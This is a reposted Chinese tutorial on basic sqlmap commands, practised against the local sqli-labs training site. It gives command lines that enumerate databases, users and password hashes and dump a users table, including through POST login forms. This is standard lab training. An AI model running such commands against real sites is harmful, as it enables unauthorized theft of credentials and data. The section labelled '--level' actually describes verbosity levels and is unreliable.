SQL Map基础操作学习

SQLMAP用于mysql注入

针对http://127.0.0.1/sqli-labs-master/Less-1/学习SQL Map基础操作语句

一.检测注入点是否可用

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1"
参数:
-u:指定注入点url
结果:

《SQL Map基础操作学习》 图片.png

(1)注入参数ID为GET注入,注入类型有四种分别为:boolean-based blind、error-based、AND/OR time-based blind、UNION query(基于布尔的盲注、基于错误、和/或基于时间的盲注、联合查询)
(2)web应用程序技术为:PHP 5.6.31, Apache 2.4.27
(3)数据库类型为:MySQL>=5.0

如果有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --batch

二.暴库

一条命令就可以暴出该MySQL中所有数据库名称,命令如下
C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
参数:
–dbs:dbs前面有两条杠

《SQL Map基础操作学习》
图片.png

三.web当前使用的数据库

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

《SQL Map基础操作学习》 图片.png

四.web服务器使用账户

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user

《SQL Map基础操作学习》 图片.png

五.列出MySQL所有用户

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --users

《SQL Map基础操作学习》 图片.png

六.数据库账户与密码

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --passwords

《SQL Map基础操作学习》 图片.png

七.列出数据库中的表

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
参数:
-D 指定数据库
–tables 列出所有表

《SQL Map基础操作学习》 图片.png

八.列出表中字段

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
参数
-D:指定数据库名称
-T:指定要列出字段的表
–columns:指定列出字段

《SQL Map基础操作学习》 图片.png

九.暴字段内容

C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C"id,password,username" --dump
-C:指定要暴的字段
–dump:将结果导出

《SQL Map基础操作学习》 图片.png

如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:C:\Python27\sqlmap>python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C"id,password,username" --start 1 --stop 5 --dump
参数
–start:指定开始的行
–stop:指定结束的行
此条命令的含义为:导出数据库security中的表users中的字段(id,password,Username)中的第1到第5行的数据内容。

《SQL Map基础操作学习》 图片.png

十 -p 指定注入参数

《SQL Map基础操作学习》 图片.png

十一 –dump-all 列出所有存在的数据库中的所有内容

《SQL Map基础操作学习》 图片.png

十二 –thread 线程

sqlmap默认是单线程,–thread 10

《SQL Map基础操作学习》 图片.png

十二.sqlmap运行的级别–level

sqlmap中共有七个等级,默认等级为1

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
等级是指测试结果的输出的详细程度,根据测试,–level等级的提高得到的效果远比-v等级提高得到的效果好,如果你想看到sqlmap发送的测试payload最好的等级就是3。

POST登陆框注入

Less-11

《SQL Map基础操作学习》 图片.png

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

《SQL Map基础操作学习》 图片.png

2.列数据库:
C:\Python27\sqlmap>python sqlmap.py -r "C:\Users\liuxianglai\Desktop\post.txt" -p uname --dbs
-r表示加载一个文件,-p指定参数

《SQL Map基础操作学习》 图片.png

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入”Y”

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入”N”

POST parameter ‘uname’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]POST参数’uname’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入”Y”

3.猜表
选择一个数据库,比如security
C:\Python27\sqlmap>python sqlmap.py -r "C:\Users\liuxianglai\Desktop\post.txt" -p uname -D security --tables

《SQL Map基础操作学习》 图片.png

4.猜列
C:\Python27\sqlmap>python sqlmap.py -r "C:\Users\liuxianglai\Desktop\post.txt" -p uname -D security -T users --columns

《SQL Map基础操作学习》 图片.png

注入方式二:自动搜索表单的方式

C:\Python27\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms(form表单action=” “,也就是发送给本页面自己)

《SQL Map基础操作学习》 图片.png

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入”Y”
do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入”Y”
do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入”Y”

注入方式三:指定一个参数的方法

C:\Python27\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data "uname=1&passwd=1"

《SQL Map基础操作学习》 图片.png

    原文作者:Smi1e_
    原文地址: https://www.jianshu.com/p/17509d0a1ba3
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞